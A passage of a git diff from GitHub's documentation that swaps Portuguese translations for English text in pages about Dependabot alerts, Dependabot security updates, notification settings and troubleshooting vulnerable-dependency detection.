privado](/github/understanding-how-github-uses-and-protects-your-data/managing-data-use-settings-for-your-private-repository)". +{% data variables.product.product_name %} starts generating the dependency graph immediately and generates alerts for any vulnerable dependencies as soon as they are identified. The graph is usually populated within minutes but this may take longer for repositories with many dependencies. For more information, see "[Managing data use settings for your private repository](/github/understanding-how-github-uses-and-protects-your-data/managing-data-use-settings-for-your-private-repository)." {% endif %} -Quando {% data variables.product.product_name %} identifica uma dependência vulnerável, geramos um alerta de {% data variables.product.prodname_dependabot %} e o exibimos {% ifversion fpt or ghec or ghes > 3.0 %} na aba Segurança do repositório e{% endif %} no gráfico de dependências do repositório. O alerta inclui {% ifversion fpt or ghec or ghes > 3.0 %} um link para o arquivo afetado no projeto, e {% endif %}informações sobre uma versão fixa. {% data variables.product.product_name %} também pode notificar os mantenedores dos repositórios afetados sobre o novo alerta de acordo com as suas preferências de notificação. Para obter mais informações, consulte "[Configurar notificações para dependências vulneráveis](/code-security/supply-chain-security/configuring-notifications-for-vulnerable-dependencies)". +When {% data variables.product.product_name %} identifies a vulnerable dependency, we generate a {% data variables.product.prodname_dependabot %} alert and display it {% ifversion fpt or ghec or ghes > 3.0 %} on the Security tab for the repository and{% endif %} in the repository's dependency graph. The alert includes {% ifversion fpt or ghec or ghes > 3.0 %}a link to the affected file in the project, and {% endif %}information about a fixed version. {% data variables.product.product_name %} may also notify the maintainers of affected repositories about the new alert according to their notification preferences. For more information, see "[Configuring notifications for vulnerable dependencies](/code-security/supply-chain-security/configuring-notifications-for-vulnerable-dependencies)." {% ifversion fpt or ghec or ghes > 3.2 %} -Para repositórios em que {% data variables.product.prodname_dependabot_security_updates %} estão habilitados, o alerta também pode conter um link para um pull request para atualizar o manifesto ou arquivo de bloqueio para a versão mínima que resolve a vulnerabilidade. Para obter mais informações, consulte "[Sobre {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates)." +For repositories where {% data variables.product.prodname_dependabot_security_updates %} are enabled, the alert may also contain a link to a pull request to update the manifest or lock file to the minimum version that resolves the vulnerability. For more information, see "[About {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates)." {% endif %} {% warning %} -**Observação**: Os recursos de segurança de {% data variables.product.product_name %} não reivindicam garantem que todas as vulnerabilidades sejam detectadas. Embora estejamos sempre tentando atualizar nosso banco de dados de vulnerabilidades e gerar alertas com nossas informações mais atualizadas. não seremos capazes de pegar tudo ou falar sobre vulnerabilidades conhecidas dentro de um período de tempo garantido. Esses recursos não substituem a revisão humana de cada dependência em busca de possíveis vulnerabilidades ou algum outro problema, e nossa sugestão é consultar um serviço de segurança ou realizar uma revisão completa de vulnerabilidade quando necessário. +**Note**: {% data variables.product.product_name %}'s security features do not claim to catch all vulnerabilities. Though we are always trying to update our vulnerability database and generate alerts with our most up-to-date information, we will not be able to catch everything or tell you about known vulnerabilities within a guaranteed time frame. These features are not substitutes for human review of each dependency for potential vulnerabilities or any other issues, and we recommend consulting with a security service or conducting a thorough vulnerability review when necessary. {% endwarning %} -## Acesso a alertas de {% data variables.product.prodname_dependabot %} +## Access to {% data variables.product.prodname_dependabot_alerts %} -É possível ver todos os alertas que afetam um determinado projeto{% ifversion fpt or ghec %} na aba Segurança do repositório ou{% endif %} no gráfico de dependências do repositório. Para obter mais informações, consulte "[Visualizar e atualizar dependências vulneráveis no seu repositório](/github/managing-security-vulnerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository). " +You can see all of the alerts that affect a particular project{% ifversion fpt or ghec %} on the repository's Security tab or{% endif %} in the repository's dependency graph. For more information, see "[Viewing and updating vulnerable dependencies in your repository](/github/managing-security-vulnerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository)." -Por padrão, notificamos as pessoas com permissões de administrador nos repositórios afetados sobre os novos {% data variables.product.prodname_dependabot_alerts %}. {% ifversion fpt or ghec %}{% data variables.product.product_name %} nunca divulga publicamente vulnerabilidades identificadas para qualquer repositório. Você também pode tornar o {% data variables.product.prodname_dependabot_alerts %} visível para pessoas ou repositórios de trabalho de equipes adicionais que você possui ou para os quais tem permissões de administrador. Para obter mais informações, consulte "[Gerenciar configurações de segurança e análise do repositório](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts)". +By default, we notify people with admin permissions in the affected repositories about new {% data variables.product.prodname_dependabot_alerts %}. {% ifversion fpt or ghec %}{% data variables.product.product_name %} never publicly discloses identified vulnerabilities for any repository. You can also make {% data variables.product.prodname_dependabot_alerts %} visible to additional people or teams working repositories that you own or have admin permissions for. For more information, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts)." {% endif %} {% data reusables.notifications.vulnerable-dependency-notification-enable %} -{% data reusables.notifications.vulnerable-dependency-notification-delivery-method-customization2 %} Para obter mais informações, consulte "[Configurar notificações para dependências vulneráveis](/code-security/supply-chain-security/configuring-notifications-for-vulnerable-dependencies)". +{% data reusables.notifications.vulnerable-dependency-notification-delivery-method-customization2 %} For more information, see "[Configuring notifications for vulnerable dependencies](/code-security/supply-chain-security/configuring-notifications-for-vulnerable-dependencies)." -Você também pode ver todos os {% data variables.product.prodname_dependabot_alerts %} que correspondem a uma vulnerabilidade particular em {% data variables.product.prodname_advisory_database %}. {% data reusables.security-advisory.link-browsing-advisory-db %} +You can also see all the {% data variables.product.prodname_dependabot_alerts %} that correspond to a particular vulnerability in the {% data variables.product.prodname_advisory_database %}. {% data reusables.security-advisory.link-browsing-advisory-db %} {% ifversion fpt or ghec or ghes > 3.2 %} -## Leia mais +## Further reading -- "[Sobre {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates)" -- "[Exibir e atualizar dependências vulneráveis no repositório](/articles/viewing-and-updating-vulnerable-dependencies-in-your-repository)"{% endif %} -{% ifversion fpt or ghec %}- "[Entendendo como {% data variables.product.prodname_dotcom %} usa e protege seus dados](/categories/understanding-how-github-uses-and-protects-your-data)"{% endif %} +- "[About {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates)" +- "[Viewing and updating vulnerable dependencies in your repository](/articles/viewing-and-updating-vulnerable-dependencies-in-your-repository)"{% endif %} +{% ifversion fpt or ghec %}- "[Understanding how {% data variables.product.prodname_dotcom %} uses and protects your data](/categories/understanding-how-github-uses-and-protects-your-data)"{% endif %} diff --git a/translations/pt-BR/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates.md b/translations/pt-BR/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates.md index 3606a9d1db..b283a4b5e0 100644 --- a/translations/pt-BR/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates.md +++ b/translations/pt-BR/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates.md @@ -1,7 +1,7 @@ --- -title: Sobre as atualizações de segurança do Dependabot -intro: '{% data variables.product.prodname_dependabot %} pode corrigir dependências vulneráveis para você, levantando pull requests com atualizações de segurança.' -shortTitle: Atualizações de segurança do Dependabot +title: About Dependabot security updates +intro: '{% data variables.product.prodname_dependabot %} can fix vulnerable dependencies for you by raising pull requests with security updates.' +shortTitle: Dependabot security updates redirect_from: - /github/managing-security-vulnerabilities/about-github-dependabot-security-updates - /github/managing-security-vulnerabilities/about-dependabot-security-updates @@ -25,42 +25,42 @@ topics: {% data reusables.dependabot.beta-security-and-version-updates %} {% data reusables.dependabot.enterprise-enable-dependabot %} -## Sobre o {% data variables.product.prodname_dependabot_security_updates %} +## About {% data variables.product.prodname_dependabot_security_updates %} -{% data variables.product.prodname_dependabot_security_updates %} torna mais fácil para você corrigir dependências vulneráveis no seu repositório. Se você habilitar este recurso, quando um alerta de {% data variables.product.prodname_dependabot %} for criado para uma dependência vulnerável no gráfico de dependências do seu repositório, {% data variables.product.prodname_dependabot %} tenta corrigir isso automaticamente. Para obter mais informações, consulte "[Sobre alertas para dependências vulneráveis de](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)" e "[Configurar {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/configuring-dependabot-security-updates)". +{% data variables.product.prodname_dependabot_security_updates %} make it easier for you to fix vulnerable dependencies in your repository. If you enable this feature, when a {% data variables.product.prodname_dependabot %} alert is raised for a vulnerable dependency in the dependency graph of your repository, {% data variables.product.prodname_dependabot %} automatically tries to fix it. For more information, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)" and "[Configuring {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/configuring-dependabot-security-updates)." -{% data variables.product.prodname_dotcom %} pode enviar alertas de {% data variables.product.prodname_dependabot %} a repositórios afetados por uma vulnerabilidade revelada por uma consultoria de segurança publicada recentemente em {% data variables.product.prodname_dotcom %}. {% data reusables.security-advisory.link-browsing-advisory-db %} +{% data variables.product.prodname_dotcom %} may send {% data variables.product.prodname_dependabot_alerts %} to repositories affected by a vulnerability disclosed by a recently published {% data variables.product.prodname_dotcom %} security advisory. {% data reusables.security-advisory.link-browsing-advisory-db %} -{% data variables.product.prodname_dependabot %} verifica se é possível atualizar a dependência vulnerável para uma versão fixa sem comprometer o gráfico de dependências para o repositório. Em seguida, {% data variables.product.prodname_dependabot %} levanta um pull request para atualizar a dependência para a versão mínima que inclui o patch e os links do pull request para o alerta de {% data variables.product.prodname_dependabot %} ou relata um erro no alerta. Para obter mais informações, consulte "[Solução de problemas de erros de {% data variables.product.prodname_dependabot %}](/github/managing-security-vulnerabilities/troubleshooting-dependabot-errors)". +{% data variables.product.prodname_dependabot %} checks whether it's possible to upgrade the vulnerable dependency to a fixed version without disrupting the dependency graph for the repository. Then {% data variables.product.prodname_dependabot %} raises a pull request to update the dependency to the minimum version that includes the patch and links the pull request to the {% data variables.product.prodname_dependabot %} alert, or reports an error on the alert. For more information, see "[Troubleshooting {% data variables.product.prodname_dependabot %} errors](/github/managing-security-vulnerabilities/troubleshooting-dependabot-errors)." {% note %} -**Observação** +**Note** -O recurso de {% data variables.product.prodname_dependabot_security_updates %} está disponível para repositórios nos quais você habilitou o gráfico de dependências e {% data variables.product.prodname_dependabot_alerts %}. Você verá um alerta de {% data variables.product.prodname_dependabot %} para cada dependência vulnerável identificada no seu gráfico de dependências completas. No entanto, atualizações de segurança são acionadas apenas para dependências especificadas em um manifesto ou arquivo de bloqueio. {% data variables.product.prodname_dependabot %} não consegue atualizar uma dependência indireta ou transitória que não esteja explicitamente definida. Para obter mais informações, consulte "[Sobre o gráfico de dependência](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph#dependencies-included)". +The {% data variables.product.prodname_dependabot_security_updates %} feature is available for repositories where you have enabled the dependency graph and {% data variables.product.prodname_dependabot_alerts %}. You will see a {% data variables.product.prodname_dependabot %} alert for every vulnerable dependency identified in your full dependency graph. However, security updates are triggered only for dependencies that are specified in a manifest or lock file. {% data variables.product.prodname_dependabot %} is unable to update an indirect or transitive dependency that is not explicitly defined. For more information, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph#dependencies-included)." {% endnote %} -Você pode habilitar um recurso relacionado, {% data variables.product.prodname_dependabot_version_updates %}, para que {% data variables.product.prodname_dependabot %} abra pull requests para atualizar o manifesto para a última versão da dependência, sempre que detectar uma dependência desatualizada. Para obter mais informações, consulte "[Sobre atualizações da versão de {% data variables.product.prodname_dependabot %}](/github/administering-a-repository/about-dependabot-version-updates)". +You can enable a related feature, {% data variables.product.prodname_dependabot_version_updates %}, so that {% data variables.product.prodname_dependabot %} raises pull requests to update the manifest to the latest version of the dependency, whenever it detects an outdated dependency. For more information, see "[About {% data variables.product.prodname_dependabot %} version updates](/github/administering-a-repository/about-dependabot-version-updates)." {% data reusables.dependabot.pull-request-security-vs-version-updates %} -## Sobre os pull requests para atualizações de segurança +## About pull requests for security updates -Cada pull request contém tudo o que você precisa para revisar mesclar, de forma rápida e segura, uma correção proposta em seu projeto. Isto inclui informações sobre a vulnerabilidade como, por exemplo, notas de lançamento, entradas de registros de mudanças e detalhes do commit. Detalhes de quais vulnerabilidades são resolvidas por um pull request de qualquer pessoa que não tem acesso a {% data variables.product.prodname_dependabot_alerts %} para o repositório. +Each pull request contains everything you need to quickly and safely review and merge a proposed fix into your project. This includes information about the vulnerability like release notes, changelog entries, and commit details. Details of which vulnerability a pull request resolves are hidden from anyone who does not have access to {% data variables.product.prodname_dependabot_alerts %} for the repository. -Ao fazer merge de um pull request que contém uma atualização de segurança, o alerta de {% data variables.product.prodname_dependabot %} correspondente é marcado como resolvido no seu repositório. Para obter mais informações sobre pull requests de {% data variables.product.prodname_dependabot %}, consulte "[Gerenciar pull requests para atualizações de dependências](/github/administering-a-repository/managing-pull-requests-for-dependency-updates)". +When you merge a pull request that contains a security update, the corresponding {% data variables.product.prodname_dependabot %} alert is marked as resolved for your repository. For more information about {% data variables.product.prodname_dependabot %} pull requests, see "[Managing pull requests for dependency updates](/github/administering-a-repository/managing-pull-requests-for-dependency-updates)." {% data reusables.dependabot.automated-tests-note %} {% ifversion fpt or ghec %} -## Sobre pontuações de compatibilidade +## About compatibility scores -O {% data variables.product.prodname_dependabot_security_updates %} pode incluir uma pontuação de compatibilidade para que você saiba se atualizar uma dependência poderá causar alterações significativas no seu projeto. Estes são calculados a partir de testes de CI em outros repositórios públicos onde a mesma atualização de segurança foi gerada. Uma pontuação de compatibilidade da atualização é a porcentagem de execuções de CI que foram aprovadas durante a atualização entre versões específicas da dependência. +{% data variables.product.prodname_dependabot_security_updates %} may include compatibility scores to let you know whether updating a dependency could cause breaking changes to your project. These are calculated from CI tests in other public repositories where the same security update has been generated. An update's compatibility score is the percentage of CI runs that passed when updating between specific versions of the dependency. {% endif %} -## Sobre notificações para atualizações de segurança de {% data variables.product.prodname_dependabot %} +## About notifications for {% data variables.product.prodname_dependabot %} security updates -Você pode filtrar suas notificações em {% data variables.product.company_short %} para mostrar as atualizações de segurança de {% data variables.product.prodname_dependabot %}. Para obter mais informações, consulte "[Gerenciando notificações de sua caixa de entrada](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#dependabot-custom-filters)". +You can filter your notifications on {% data variables.product.company_short %} to show {% data variables.product.prodname_dependabot %} security updates. For more information, see "[Managing notifications from your inbox](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#dependabot-custom-filters)." diff --git a/translations/pt-BR/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-notifications-for-vulnerable-dependencies.md b/translations/pt-BR/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-notifications-for-vulnerable-dependencies.md index c9acc2c136..f0d3791232 100644 --- a/translations/pt-BR/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-notifications-for-vulnerable-dependencies.md +++ b/translations/pt-BR/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-notifications-for-vulnerable-dependencies.md @@ -1,7 +1,7 @@ --- -title: Configurar notificações para dependências vulneráveis -shortTitle: Configurar notificações -intro: 'Otimize como você recebe notificações sobre alertas de {% data variables.product.prodname_dependabot %}.' +title: Configuring notifications for vulnerable dependencies +shortTitle: Configuring notifications +intro: 'Optimize how you receive notifications about {% data variables.product.prodname_dependabot_alerts %}.' redirect_from: - /github/managing-security-vulnerabilities/configuring-notifications-for-vulnerable-dependencies - /code-security/supply-chain-security/configuring-notifications-for-vulnerable-dependencies @@ -19,49 +19,48 @@ topics: - Dependencies - Repositories --- - -## Sobre notificações para dependências vulneráveis +## About notifications for vulnerable dependencies -Quando {% data variables.product.prodname_dependabot %} detecta dependências vulneráveis nos seus repositórios, geramos um alerta de {% data variables.product.prodname_dependabot %} e o exibimos na aba Segurança do repositório. {% data variables.product.product_name %} notifica os mantenedores dos repositórios afetados sobre o novo alerta de acordo com as suas preferências de notificação.{% ifversion fpt or ghec %} {% data variables.product.prodname_dependabot %} está habilitado por padrão em todos os repositórios públicos. Para {% data variables.product.prodname_dependabot_alerts %}, por padrão, você receberá {% data variables.product.prodname_dependabot_alerts %} por e-mail, agrupado pela vulnerabilidade específica. -{% endif %} +When {% data variables.product.prodname_dependabot %} detects vulnerable dependencies in your repositories, we generate a {% data variables.product.prodname_dependabot %} alert and display it on the Security tab for the repository. {% data variables.product.product_name %} notifies the maintainers of affected repositories about the new alert according to their notification preferences.{% ifversion fpt or ghec %} {% data variables.product.prodname_dependabot %} is enabled by default on all public repositories. For {% data variables.product.prodname_dependabot_alerts %}, by default, you will receive {% data variables.product.prodname_dependabot_alerts %} by email, grouped by the specific vulnerability. +{% endif %} -{% ifversion fpt or ghec %}Se você é proprietário de uma organização, você pode habilitar ou desabilitar {% data variables.product.prodname_dependabot_alerts %} para todos os repositórios da sua organização com um clique. Você também pode definir se a detecção de dependências vulneráveis será habilitada ou desabilitada para repositórios recém-criados. Para obter mais informações, consulte "[Gerenciar configurações de segurança e análise para sua organização](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization#enabling-or-disabling-a-feature-for-all-new-repositories-when-they-are-added)". +{% ifversion fpt or ghec %}If you're an organization owner, you can enable or disable {% data variables.product.prodname_dependabot_alerts %} for all repositories in your organization with one click. You can also set whether the detection of vulnerable dependencies will be enabled or disabled for newly-created repositories. For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization#enabling-or-disabling-a-feature-for-all-new-repositories-when-they-are-added)." {% endif %} {% ifversion ghes or ghae-issue-4864 %} -Por padrão, se o proprietário da sua empresa configurou e-mail para notificações na sua empresa, você receberá {% data variables.product.prodname_dependabot_alerts %} por e-mail. +By default, if your enterprise owner has configured email for notifications on your enterprise, you will receive {% data variables.product.prodname_dependabot_alerts %} by email. -Os proprietários das empresas também podem habilitar {% data variables.product.prodname_dependabot_alerts %} sem notificações. Para obter mais informações, consulte[Habilitando o gráfico de dependências e {% data variables.product.prodname_dependabot_alerts %} na sua conta corporativa](/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account)." +Enterprise owners can also enable {% data variables.product.prodname_dependabot_alerts %} without notifications. For more information, see "[Enabling the dependency graph and {% data variables.product.prodname_dependabot_alerts %} on your enterprise account](/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account)." {% endif %} -## Configurar notificações para {% data variables.product.prodname_dependabot_alerts %} +## Configuring notifications for {% data variables.product.prodname_dependabot_alerts %} {% ifversion fpt or ghes > 3.1 or ghec %} -Quando um novo alerta do {% data variables.product.prodname_dependabot %} é detectado, {% data variables.product.product_name %} notifica todos os usuários com acesso a {% data variables.product.prodname_dependabot_alerts %} para o repositório de acordo com suas preferências de notificação. Você receberá alertas se estiver acompanhando o repositório, caso tenha habilitado notificações para alertas de segurança ou para toda a atividade no repositório e não estiver ignorando o repositório. Para obter mais informações, consulte “[Configurando notificações](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#configuring-your-watch-settings-for-an-individual-repository)". +When a new {% data variables.product.prodname_dependabot %} alert is detected, {% data variables.product.product_name %} notifies all users with access to {% data variables.product.prodname_dependabot_alerts %} for the repository according to their notification preferences. You will receive alerts if you are watching the repository, have enabled notifications for security alerts or for all the activity on the repository, and are not ignoring the repository. For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#configuring-your-watch-settings-for-an-individual-repository)." {% endif %} -Você pode definir as configurações de notificação para si mesmo ou para sua organização no menu suspenso Gerenciar notificações {% octicon "bell" aria-label="The notifications bell" %} exibido na parte superior de cada página. Para obter mais informações, consulte “[Configurar notificações](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#choosing-your-notification-settings)". +You can configure notification settings for yourself or your organization from the Manage notifications drop-down {% octicon "bell" aria-label="The notifications bell" %} shown at the top of each page. For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#choosing-your-notification-settings)." {% data reusables.notifications.vulnerable-dependency-notification-delivery-method-customization2 %} {% data reusables.notifications.vulnerable-dependency-notification-options %} - ![Opções {% data variables.product.prodname_dependabot_alerts %} ](/assets/images/help/notifications-v2/dependabot-alerts-options.png) + ![{% data variables.product.prodname_dependabot_alerts %} options](/assets/images/help/notifications-v2/dependabot-alerts-options.png) {% note %} -**Observação:** Você pode filtrar as suas notificações sobre {% data variables.product.company_short %} para mostrar alertas de {% data variables.product.prodname_dependabot %}. Para obter mais informações, consulte "[Gerenciando notificações de sua caixa de entrada](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#dependabot-custom-filters)". +**Note:** You can filter your notifications on {% data variables.product.company_short %} to show {% data variables.product.prodname_dependabot_alerts %}. For more information, see "[Managing notifications from your inbox](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#dependabot-custom-filters)." {% endnote %} -{% data reusables.repositories.security-alerts-x-github-severity %} Para obter mais informações, consulte "[Configurando notificações](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#filtering-email-notifications)". +{% data reusables.repositories.security-alerts-x-github-severity %} For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#filtering-email-notifications)." -## Como reduzir o ruído das notificações para dependências vulneráveis +## How to reduce the noise from notifications for vulnerable dependencies -Se você estiver preocupado em receber muitas notificações para {% data variables.product.prodname_dependabot_alerts %}, recomendamos que você opte pelo resumo semanal de e-mail ou desabilite as notificações enquanto mantém {% data variables.product.prodname_dependabot_alerts %} habilitado. Você ainda pode navegar para ver seu {% data variables.product.prodname_dependabot_alerts %} na aba Segurança do seu repositório. Para obter mais informações, consulte "[Visualizar e atualizar dependências vulneráveis no seu repositório](/github/managing-security-vulnerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository). " +If you are concerned about receiving too many notifications for {% data variables.product.prodname_dependabot_alerts %}, we recommend you opt into the weekly email digest, or turn off notifications while keeping {% data variables.product.prodname_dependabot_alerts %} enabled. You can still navigate to see your {% data variables.product.prodname_dependabot_alerts %} in your repository's Security tab. For more information, see "[Viewing and updating vulnerable dependencies in your repository](/github/managing-security-vulnerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository)." -## Leia mais +## Further reading -- "[Configurar notificações](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications)" -- "[Gerenciar notificações da sua caixa de entrada](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#supported-is-queries)" +- "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications)" +- "[Managing notifications from your inbox](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#supported-is-queries)" diff --git a/translations/pt-BR/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/index.md b/translations/pt-BR/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/index.md index 391e6c1b75..d629122ab7 100644 --- a/translations/pt-BR/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/index.md +++ b/translations/pt-BR/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/index.md @@ -1,6 +1,6 @@ --- -title: Gerenciar vulnerabilidades nas dependências de seu projeto -intro: 'Você pode acompanhar as dependências do seu repositório e receber alertas de segrurança de {% ifversion fpt or ghes %}{% data variables.product.prodname_dependabot_alerts %}{% else %}{% endif %} quando {% data variables.product.product_name %} detecta dependências vulneráveis.' +title: Managing vulnerabilities in your project's dependencies +intro: 'You can track your repository''s dependencies and receive {% data variables.product.prodname_dependabot_alerts %} when {% data variables.product.product_name %} detects vulnerable dependencies.' redirect_from: - /articles/updating-your-project-s-dependencies/ - /articles/updating-your-projects-dependencies/ @@ -30,6 +30,6 @@ children: - /viewing-and-updating-vulnerable-dependencies-in-your-repository - /troubleshooting-the-detection-of-vulnerable-dependencies - /troubleshooting-dependabot-errors -shortTitle: Corrigir dependências vulneráveis +shortTitle: Fix vulnerable dependencies --- diff --git a/translations/pt-BR/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-the-detection-of-vulnerable-dependencies.md b/translations/pt-BR/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-the-detection-of-vulnerable-dependencies.md index 1a2418b8ec..2e0ad140d1 100644 --- a/translations/pt-BR/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-the-detection-of-vulnerable-dependencies.md +++ b/translations/pt-BR/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-the-detection-of-vulnerable-dependencies.md @@ -1,7 +1,7 @@ --- -title: Solução de problemas de detecção de dependências vulneráveis -intro: 'Se as informações sobre dependências relatadas por {% data variables.product.product_name %} não são o que você esperava, há uma série de pontos a considerar, e várias coisas que você pode verificar.' -shortTitle: Detecção de solução de problemas +title: Troubleshooting the detection of vulnerable dependencies +intro: 'If the dependency information reported by {% data variables.product.product_name %} is not what you expected, there are a number of points to consider, and various things you can check.' +shortTitle: Troubleshoot detection redirect_from: - /github/managing-security-vulnerabilities/troubleshooting-the-detection-of-vulnerable-dependencies - /code-security/supply-chain-security/troubleshooting-the-detection-of-vulnerable-dependencies @@ -27,98 +27,98 @@ topics: {% data reusables.dependabot.beta-security-and-version-updates %} -Os resultados da detecção de dependências relatados pelo {% data variables.product.product_name %} podem ser diferentes dos resultados retornados por outras ferramentas. Existem boas razões para isso e é útil entender como {% data variables.product.prodname_dotcom %} determina as dependências para o seu projeto. +The results of dependency detection reported by {% data variables.product.product_name %} may be different from the results returned by other tools. There are good reasons for this and it's helpful to understand how {% data variables.product.prodname_dotcom %} determines dependencies for your project. -## Por que algumas dependências parecem estar faltando? +## Why do some dependencies seem to be missing? -O {% data variables.product.prodname_dotcom %} gera e exibe dados de dependência de maneira diferente de outras ferramentas. Consequentemente, se você usou outra ferramenta para identificar dependências, quase certamente verá resultados diferentes. Considere o seguinte: +{% data variables.product.prodname_dotcom %} generates and displays dependency data differently than other tools. Consequently, if you've been using another tool to identify dependencies you will almost certainly see different results. Consider the following: -* {% data variables.product.prodname_advisory_database %} é uma das fontes de dados que {% data variables.product.prodname_dotcom %} usa para identificar dependências vulneráveis. É um banco de dados gratuito e curado com informações sobre vulnerabilidade para ecossistemas de pacote comum em {% data variables.product.prodname_dotcom %}. Inclui tanto dados relatados diretamente para {% data variables.product.prodname_dotcom %} de {% data variables.product.prodname_security_advisories %} quanto os feeds oficiais e as fontes comunitárias. Estes dados são revisados e curados por {% data variables.product.prodname_dotcom %} para garantir que informações falsas ou não acionáveis não sejam compartilhadas com a comunidade de desenvolvimento. {% data reusables.security-advisory.link-browsing-advisory-db %} -* O gráfico de dependências analisa todos os arquivos conhecidos de manifesto de pacote no repositório de um usuário. Por exemplo, para o npm, ele irá analisar o arquivo _package-lock.json_. Ele constrói um gráfico de todas as dependências do repositório e dependências públicas. Isso acontece quando você habilita o gráfico de dependências e quando alguém faz push para o branch-padrão, e inclui commits que fazem alterações em um formato de manifesto compatível. Para obter mais informações, consulte "[Sobre o gráfico de dependência](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)". -* {% data variables.product.prodname_dependabot %} verifica qualquer push, para o branch-padrão, que contém um arquivo de manifesto. Quando um novo registro de vulnerabilidade é adicionado, ele verifica todos os repositórios existentes e gera um alerta para cada repositório vulnerável. {% data variables.product.prodname_dependabot_alerts %} são agregados ao nível do repositório, em vez de criar um alerta por vulnerabilidade. Para obter mais informações, consulte "[Sobre alertas para dependências vulneráveis](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)" -* {% ifversion fpt or ghec or ghes > 3.2 %}{% data variables.product.prodname_dependabot_security_updates %} são acionados quando você recebe um alerta sobre uma dependência vulnerável no repositório. Sempre que possível, {% data variables.product.prodname_dependabot %} cria um pull request no repositório para atualizar a dependência vulnerável à versão mínima segura necessária para evitar a vulnerabilidade. Para obter mais informações, consulte "[Sobre {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates)" e "[Solução de problemas de {% data variables.product.prodname_dependabot %}](/github/managing-security-vulnerabilities/troubleshooting-dependabot-errors)". +* {% data variables.product.prodname_advisory_database %} is one of the data sources that {% data variables.product.prodname_dotcom %} uses to identify vulnerable dependencies. It's a free, curated database of vulnerability information for common package ecosystems on {% data variables.product.prodname_dotcom %}. It includes both data reported directly to {% data variables.product.prodname_dotcom %} from {% data variables.product.prodname_security_advisories %}, as well as official feeds and community sources. This data is reviewed and curated by {% data variables.product.prodname_dotcom %} to ensure that false or unactionable information is not shared with the development community. {% data reusables.security-advisory.link-browsing-advisory-db %} +* The dependency graph parses all known package manifest files in a user’s repository. For example, for npm it will parse the _package-lock.json_ file. It constructs a graph of all of the repository’s dependencies and public dependents. This happens when you enable the dependency graph and when anyone pushes to the default branch, and it includes commits that makes changes to a supported manifest format. For more information, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)." +* {% data variables.product.prodname_dependabot %} scans any push, to the default branch, that contains a manifest file. When a new vulnerability record is added, it scans all existing repositories and generates an alert for each vulnerable repository. {% data variables.product.prodname_dependabot_alerts %} are aggregated at the repository level, rather than creating one alert per vulnerability. For more information, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)." +* {% ifversion fpt or ghec or ghes > 3.2 